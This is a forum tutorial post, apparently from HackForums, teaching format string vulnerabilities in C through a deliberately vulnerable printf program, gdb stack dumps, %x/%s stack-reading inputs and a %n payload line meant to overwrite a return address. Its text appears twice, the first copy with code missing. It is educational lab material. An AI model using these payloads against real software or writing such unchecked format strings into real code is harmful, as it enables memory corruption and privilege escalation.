May 18, 2014 02:27 PM
(This post was last modified: May 18, 2014 02:29 PM by Goodies.)
Hello everyone!
It's been a while since I have been able to write tutorials. This tutorial will be about format string vulnerabilities. Though they are not quite as common as some buffer overflows or null pointer dereferences, there have been several reliable exploits using format string vulnerabilities.
What is a "format string vulnerability"?
As any beginner C programmer will be able to tell you, format strings allow you to print variables in the form of strings. Various functions allow you to perform specific actions to or with the strings. For example:
Examples:
How do format strings work?
From here on, I'll be referring to the format string function printf() more so than any other function. Just realize that I am, in fact, talking about the other string functions as well. That being said, I'd like to explain how these format string functions work. After all, since these are all executed in runtime (IE: this is has nothing to do with the pre-processor), there must be something happening during the execution program.
When executing a printf() function, the parameters that will be printed out are PUSHed onto the stack. The format string will then be interpreted and POP specific parameters from the stack and read them into stdout file stream (which are interpreted as ASCII strings). For example:
Taking a look:
Let's take a look at a file vulnerable to format string vulnerabilities:
Compiled with:
gcc fmtstr.c -mpreferred-stack-boundary=2 -m32 -ggdb -o fmtstr
This is all well and good, but what does this mean? This program seems completely innocent? First, it will declare 3 separate strings. Then, it will print whatever the user passes into the program. How is this harmful?
Well, since the first parameter in the printf()function is the format string, nothing is stopping the user from supplying his own format escape strings.
Say the user supplies something like (command and output):
./fmtstr "This is Goodies!"
This is Goodies!
This is exactly what we had expected, right? Well, what if the user supplied, say, a format string:
./fmtstr "Goodies says '%s'"
Goodies says 'Test string #3
'
This is definitely not the output we expected! What happened?
Well, in a format string, passing the %s takes a pointer off of the stack and will read it as an ASCII string until it hits a NULL byte. Since the local variables str1, str2, and str3 are declared on the stack (and in that order, too), they are popped off in reverse order (remember, the stack is First In Last Out) and interpreted as a string.
Before we get ahead of ourselves, read this comment that I had originally written inside the file, but in order to keep it small for HF, I decided to separate it :)
Debugging for a closer look:
Before we get ahead of ourselves, let's take a look at how the stack grows. I compiled it with -ggdb so I can more easily debug it, but it's definitely not required!
gdb -q ./fmtstr
(gdb)
Alright, fine. We are in Gnu Debugger :) If you are like me and prefer Intel ASM syntax over AT&T syntax, run:
(gdb) set disassembly-flavor intel
With that, go ahead and disassemble the main function:
(gdb) disassemble main
From this alone, we can easily see the addresses of the strings. If you so chose, you can see these strings:
The memory addresses are in reverse order because the stack grows towards lower addresses, but local variables grow towards higher addresses.
Jest to test this out, let's extract 3 strings starting from the address 0x405064:
(gdb) x/3s 0x405064
Okay, great! Before we continue, let's set a breakpoint in the program so we can dump the registers and make alterations as needed. The best place for a breakpoint in this case, would be right at the printf() statement which is at 0x004016e8. After that, let's execute it and it will stop at the printf() function.
(gbd) break *0x004016e8
(gdb) run "Testing123"
Aaaaannnnddd we hit our break point. Let's look at our base pointer:
(gdb) x/8xw $ebp
Here is my output:
Well, we know EBP (That first address: 0x0022ffa0) is the base pointer and points the the beginning of the current stack frame. In our case, we are in the main() stack frame. That being said, we know the following address is the return address of our main function. Since I'm currently confined to a windows machine, my return address is in "__mingw_CRTStartup". In a Unix machine, it is different.
Now, let's dump the ESP which points to the top of the stack.
(gdb) x/8xw $esp
If you'd like, go ahead and get the string output of each of those (first 4. We know the first address in the second row is the base pointer).
(gdb) x/1s 0x003e2490
0x3e2490: "Testing123"
(gdb) x/1s 0x00405084
0x405084 <__register_frame_info+4214916>: "Test string #3\n"
(gdb) x/1s 0x00405074
0x405074 <__register_frame_info+4214900>: "Test string #2\n"
(gdb) x/1s 0x00405064
0x405064 <__register_frame_info+4214884>: "Test string #1\n"
"Testing123" is not actually the string at the address of the parameter that we provided. It is actually the format string itself. If you'd like to change the source code to something like:
You will see that the first address pointed to by ESP is the format string address. The reason it is the same as the first parameter argument is because the format string, in our case, IS the command line argument.
The second through fourth strings are the test strings in, of course, reverse order as they are declared that way (local variables: lower memory addresses first, rise towards higher memory addresses in the stack frame).
(gdb) continue
Okay, so what EXACTLY is going on here? When the printf statement is called, it will find any arguments needed in the printf format string (%s, %x, %d, etc) and take the next memory address from the stack. In our case, it is interpreted as a string. This is all very neat, but what the hell can I use it for? Just to break a program or read a stored string??
Let's continue.
Viewing the Stack Contents
Viewing the stack contents is very easy in format string vulnerabilities. We're simply going to pass a %x which will pop the next address off of the stack and print it out. This is all well and good, but let's see it in action.
Tutorial written by Goodies from HackForums.net
First, let's dump the stack output for, oh, 12 words. This is equivalent to 12 %08x's.
If you cleared the breakpoint or exited the program, you will need to add it again.
Run the program with
(gdb) run "%08x %0x8 %08x %08x %08x %0x8 %08x %08x %08x %0x8 %08x %08x"
Now that we hit the breakpoint, before we continue, let's dump the ESP again using:
(gdb) x/12xw $esp
Dump GDB:
Program output:Tutorial written by Goodies from HackForums.net
Okay, great... we can see that the stack identically matches the program's output. Wait, identically? I see a spot where they don't match! Well, that, as we already established, is the frame pointer which is dynamic and subject to change as our program executes.
Upon reading the stack, we can use this information many ways. We can examine it, read it in the debugger, etc...
Writing contents to stack
This is going to be very difficult for me as I am inside windows and the gdb console with mingw does not support python scripting built in. Much of this section will be proof of concept and/or theoretical, however, I will do my best :)
Note: You may want to turn off ASLR when first doing this until you understand what's going on!
There is one format string that I have not gone over and that is the %n tool. %n is very interesting because it will WRITE to a memory address as opposed to READ from it.
%n - writes the number of bytes printed to the address provided.
Here is a practical example:
Remember our return memory address? If you scroll back up, you'll see that it is 0x00401413. This can be shown as the integer 4,199,443. This is quite large!
Let's just say, for arguments sake, that our shellcode is somewhere in our program at the address 0x00401555. This is a totally made up address and may or may not even be valid inside the scope of our program. Anyways, we want to overwrite our return address with 0x00401555 which, in decimal, equates to: 4,199,765. We would need to print out exactly that many characters and pop off that many places in stack. How hard could it be?
First, let's find how many until the return address. We know what the return address is, so let's use %x until we find it.
(gdb) run "%x %x %x %x %x %x %x"
405084 405074 405064 22ffa0 401413 2 3e24c0
Our return address is the 5th one which means popping 4 off of the stack would be perfect. Let's see exactly how many characters it would be:
(gdb) run "%x%x%x%x"
40508440507440506422ffa0 = 24 characters. Since our return address is 4,199,765 in decimal form, we have a long way to go :)
If I were in GDB in linux and could use python scripting, I would do something along the lines of:
(gdb) run $(python -c 'print "%x%x%x%x" + "A"*(4199765-24)+"%n"')
Which would, in theory, cause us to return to 0x00401555!
Conclusion
Even if you never use a format string vulnerability in an actual system security test, they have been known to be very severe. For example screen, a program in Linux that multiplexes one terminal for several simultaneous processes, had a format sting vulnerability that lead to a local root privilege escalation! Novell had a format string vulnerability for several versions and decided that it was benign enough to ignore. After someone showed just how detrimental it was, they had it fixed and a patch was released within 3 days.
The most important information is this thread is the understanding of how the stack grows, how local variables are stored, and how memory works. Format string vulnerabilities are but one of many ways to exploit programs, but the success of all of them are contingent upon your understanding of the stack and memory process!
It's been a while since I have been able to write tutorials. This tutorial will be about format string vulnerabilities. Though they are not quite as common as some buffer overflows or null pointer dereferences, there have been several reliable exploits using format string vulnerabilities.
What is a "format string vulnerability"?
As any beginner C programmer will be able to tell you, format strings allow you to print variables in the form of strings. Various functions allow you to perform specific actions to or with the strings. For example:
- printf - Prints a string on screen using stdout file descriptor stream.
- fprintf - Allows you to choose to which stream you want to send it. Either the defaults (stdin, stdout, stderr) or one you have established in the program.
- sprintf - Copies a formatted string into a string variable
Examples:
PHP Code
<?php
#include <stdio.h> // for all format string functions
#include <stdlib.h> // for dynamic memory allocation
int main(int argc, char **argv){
printf("This is a test using %s\n", "printf"); // printf uses stdout
fprintf(stderr, "This is a test error message using %s\n", "fprintf"); // printing to stderr file stream
char *str = calloc(30, sizeof(char)); // dynamically allocate 30 bytes
sprintf(str, "I'm writing to 'str' using %s!\n", "sprintf"); // write a string to the 'str' string.
printf("%s", str); // print the 'str' string
return 0;
}
How do format strings work?
From here on, I'll be referring to the format string function printf() more so than any other function. Just realize that I am, in fact, talking about the other string functions as well. That being said, I'd like to explain how these format string functions work. After all, since these are all executed in runtime (IE: this is has nothing to do with the pre-processor), there must be something happening during the execution program.
When executing a printf() function, the parameters that will be printed out are PUSHed onto the stack. The format string will then be interpreted and POP specific parameters from the stack and read them into stdout file stream (which are interpreted as ASCII strings). For example:
- %s - This takes a pointer to a string. Remember that a string is an array of characters terminated by a NULL character (\x00)
- %c - takes only one byte as a char is only one byte in size
- %x - Takes an integer and prints it out in hexadecimal representation
- %p - rather than printing the value, it will print out the pointer. A memory address must be passed for this to work correctly.
- etc... There are more, but they are not pertinent to this tutorial.
Taking a look:
Let's take a look at a file vulnerable to format string vulnerabilities:
Compiled with:
gcc fmtstr.c -mpreferred-stack-boundary=2 -m32 -ggdb -o fmtstr
PHP Code
<?php
#include <stdio.h>
int main(int argc, char **argv){
if(argc!=2) return 1;
char *str1 = "Test string #1\n";
char *str2 = "Test string #2\n";
char *str3 = "Test string #3\n";
printf(*(argv+1));
return 0;
}
This is all well and good, but what does this mean? This program seems completely innocent? First, it will declare 3 separate strings. Then, it will print whatever the user passes into the program. How is this harmful?
Well, since the first parameter in the printf()function is the format string, nothing is stopping the user from supplying his own format escape strings.
Say the user supplies something like (command and output):
./fmtstr "This is Goodies!"
This is Goodies!
This is exactly what we had expected, right? Well, what if the user supplied, say, a format string:
./fmtstr "Goodies says '%s'"
Goodies says 'Test string #3
'
This is definitely not the output we expected! What happened?
Well, in a format string, passing the %s takes a pointer off of the stack and will read it as an ASCII string until it hits a NULL byte. Since the local variables str1, str2, and str3 are declared on the stack (and in that order, too), they are popped off in reverse order (remember, the stack is First In Last Out) and interpreted as a string.
Before we get ahead of ourselves, read this comment that I had originally written inside the file, but in order to keep it small for HF, I decided to separate it :)
PHP Code
<?php
/*
* Let's talk about the difference between *str and str[]. In *str, the characters
* are declared elsewhere in memory and only a pointer to the first character is
* pushed onto the stack. In str[], the entire value of the string is saved on the
* stack and printing it out will not work. Not in string form anyway since %s can
* only take a pointer to a string.
*/
Debugging for a closer look:
Before we get ahead of ourselves, let's take a look at how the stack grows. I compiled it with -ggdb so I can more easily debug it, but it's definitely not required!
gdb -q ./fmtstr
(gdb)
Alright, fine. We are in Gnu Debugger :) If you are like me and prefer Intel ASM syntax over AT&T syntax, run:
(gdb) set disassembly-flavor intel
With that, go ahead and disassemble the main function:
(gdb) disassemble main
PHP Code
<?php
Dump of assembler code for function main:
0x004016b0 <+0>: push ebp
0x004016b1 <+1>: mov ebp,esp
0x004016b3 <+3>: sub esp,0x10
0x004016b6 <+6>: call 0x401c80 <__main>
0x004016bb <+11>: cmp DWORD PTR [ebp+0x8],0x2
0x004016bf <+15>: je 0x4016c8 <main+24>
0x004016c1 <+17>: mov eax,0x1
0x004016c6 <+22>: jmp 0x4016f2 <main+66>
0x004016c8 <+24>: mov DWORD PTR [ebp-0x4],0x405064
0x004016cf <+31>: mov DWORD PTR [ebp-0x8],0x405074
0x004016d6 <+38>: mov DWORD PTR [ebp-0xc],0x405084
0x004016dd <+45>: mov eax,DWORD PTR [ebp+0xc]
0x004016e0 <+48>: add eax,0x4
0x004016e3 <+51>: mov eax,DWORD PTR [eax]
0x004016e5 <+53>: mov DWORD PTR [esp],eax
0x004016e8 <+56>: call 0x403688 <printf>
0x004016ed <+61>: mov eax,0x0
0x004016f2 <+66>: leave
0x004016f3 <+67>: ret
End of assembler dump.
From this alone, we can easily see the addresses of the strings. If you so chose, you can see these strings:
PHP Code
<?php
mov DWORD PTR [ebp-0x4],0x405064 //str1
mov DWORD PTR [ebp-0x8],0x405074 //str2
mov DWORD PTR [ebp-0xc],0x405084 //str3
The memory addresses are in reverse order because the stack grows towards lower addresses, but local variables grow towards higher addresses.
Jest to test this out, let's extract 3 strings starting from the address 0x405064:
(gdb) x/3s 0x405064
PHP Code
<?php
0x405064 <__register_frame_info+4214884>: "Test string #1\n"
0x405074 <__register_frame_info+4214900>: "Test string #2\n"
0x405084 <__register_frame_info+4214916>: "Test string #3\n"
Okay, great! Before we continue, let's set a breakpoint in the program so we can dump the registers and make alterations as needed. The best place for a breakpoint in this case, would be right at the printf() statement which is at 0x004016e8. After that, let's execute it and it will stop at the printf() function.
(gbd) break *0x004016e8
(gdb) run "Testing123"
Aaaaannnnddd we hit our break point. Let's look at our base pointer:
(gdb) x/8xw $ebp
Here is my output:
PHP Code
<?php
0x22ff28: 0x0022ffa0 0x00401413 0x0000002 0x003e24b8
0x22ff38: 0x003e2a48 0x0000002 0x000000 0x0000003
Well, we know EBP (That first address: 0x0022ffa0) is the base pointer and points the the beginning of the current stack frame. In our case, we are in the main() stack frame. That being said, we know the following address is the return address of our main function. Since I'm currently confined to a windows machine, my return address is in "__mingw_CRTStartup". In a Unix machine, it is different.
Now, let's dump the ESP which points to the top of the stack.
(gdb) x/8xw $esp
PHP Code
<?php
0x22ff18: 0x003e2490 0x00405084 0x00405074 0x00405064
0x22ff28: 0x0022ffa0 0x00401413 0x0000002 0x003e24b8
If you'd like, go ahead and get the string output of each of those (first 4. We know the first address in the second row is the base pointer).
(gdb) x/1s 0x003e2490
0x3e2490: "Testing123"
(gdb) x/1s 0x00405084
0x405084 <__register_frame_info+4214916>: "Test string #3\n"
(gdb) x/1s 0x00405074
0x405074 <__register_frame_info+4214900>: "Test string #2\n"
(gdb) x/1s 0x00405064
0x405064 <__register_frame_info+4214884>: "Test string #1\n"
"Testing123" is not actually the string at the address of the parameter that we provided. It is actually the format string itself. If you'd like to change the source code to something like:
PHP Code
<?php
printf("This is %s", "a test");
The second through fourth strings are the test strings in, of course, reverse order as they are declared that way (local variables: lower memory addresses first, rise towards higher memory addresses in the stack frame).
(gdb) continue
Okay, so what EXACTLY is going on here? When the printf statement is called, it will find any arguments needed in the printf format string (%s, %x, %d, etc) and take the next memory address from the stack. In our case, it is interpreted as a string. This is all very neat, but what the hell can I use it for? Just to break a program or read a stored string??
Let's continue.
Viewing the Stack Contents
Viewing the stack contents is very easy in format string vulnerabilities. We're simply going to pass a %x which will pop the next address off of the stack and print it out. This is all well and good, but let's see it in action.
Tutorial written by Goodies from HackForums.net
First, let's dump the stack output for, oh, 12 words. This is equivalent to 12 %08x's.
If you cleared the breakpoint or exited the program, you will need to add it again.
Run the program with
(gdb) run "%08x %0x8 %08x %08x %08x %0x8 %08x %08x %08x %0x8 %08x %08x"
Now that we hit the breakpoint, before we continue, let's dump the ESP again using:
(gdb) x/12xw $esp
Dump GDB:
PHP Code
<?php
0x003e2490 0x00405084 0x00405074 0x00405064
0x0022ffa0 0x00401413 0x0000002 0x003e26f8
0x003e2a48 0x0000002 0x000000 0x0000002
Program output:Tutorial written by Goodies from HackForums.net
PHP Code
<?php
00405084 4050748 00405064 0022ffa0 00401413
00000028 003e26f8 003e2a48 0000002 0000008
0000002 000000
Upon reading the stack, we can use this information many ways. We can examine it, read it in the debugger, etc...
Writing contents to stack
This is going to be very difficult for me as I am inside windows and the gdb console with mingw does not support python scripting built in. Much of this section will be proof of concept and/or theoretical, however, I will do my best :)
Note: You may want to turn off ASLR when first doing this until you understand what's going on!
There is one format string that I have not gone over and that is the %n tool. %n is very interesting because it will WRITE to a memory address as opposed to READ from it.
%n - writes the number of bytes printed to the address provided.
Here is a practical example:
PHP Code
<?php
int i = 0;
int j = 0;
printf("ABCD%n1234%n", &i, &j);
/* At this point, 'i' is equal to 4 since 4 characters had been printed. 'j'
* would be equal to 8 since 8 characters had been printed. Our goal is to
* write the memory address of, say, shellcode or a ROP gadget (which
* depends on our method of attack). This can be done using %n!
*/
Remember our return memory address? If you scroll back up, you'll see that it is 0x00401413. This can be shown as the integer 4,199,443. This is quite large!
Let's just say, for arguments sake, that our shellcode is somewhere in our program at the address 0x00401555. This is a totally made up address and may or may not even be valid inside the scope of our program. Anyways, we want to overwrite our return address with 0x00401555 which, in decimal, equates to: 4,199,765. We would need to print out exactly that many characters and pop off that many places in stack. How hard could it be?
First, let's find how many until the return address. We know what the return address is, so let's use %x until we find it.
(gdb) run "%x %x %x %x %x %x %x"
405084 405074 405064 22ffa0 401413 2 3e24c0
Our return address is the 5th one which means popping 4 off of the stack would be perfect. Let's see exactly how many characters it would be:
(gdb) run "%x%x%x%x"
40508440507440506422ffa0 = 24 characters. Since our return address is 4,199,765 in decimal form, we have a long way to go :)
If I were in GDB in linux and could use python scripting, I would do something along the lines of:
(gdb) run $(python -c 'print "%x%x%x%x" + "A"*(4199765-24)+"%n"')
Which would, in theory, cause us to return to 0x00401555!
Conclusion
Even if you never use a format string vulnerability in an actual system security test, they have been known to be very severe. For example screen, a program in Linux that multiplexes one terminal for several simultaneous processes, had a format sting vulnerability that lead to a local root privilege escalation! Novell had a format string vulnerability for several versions and decided that it was benign enough to ignore. After someone showed just how detrimental it was, they had it fixed and a patch was released within 3 days.
The most important information is this thread is the understanding of how the stack grows, how local variables are stored, and how memory works. Format string vulnerabilities are but one of many ways to exploit programs, but the success of all of them are contingent upon your understanding of the stack and memory process!
SRPP Discord Server
I am a professional network/cloud security architect.
My Old Tutorials
I am a professional network/cloud security architect.
My Old Tutorials




![[Image: lPQX27G.png]](https://i.imgur.com/lPQX27G.png)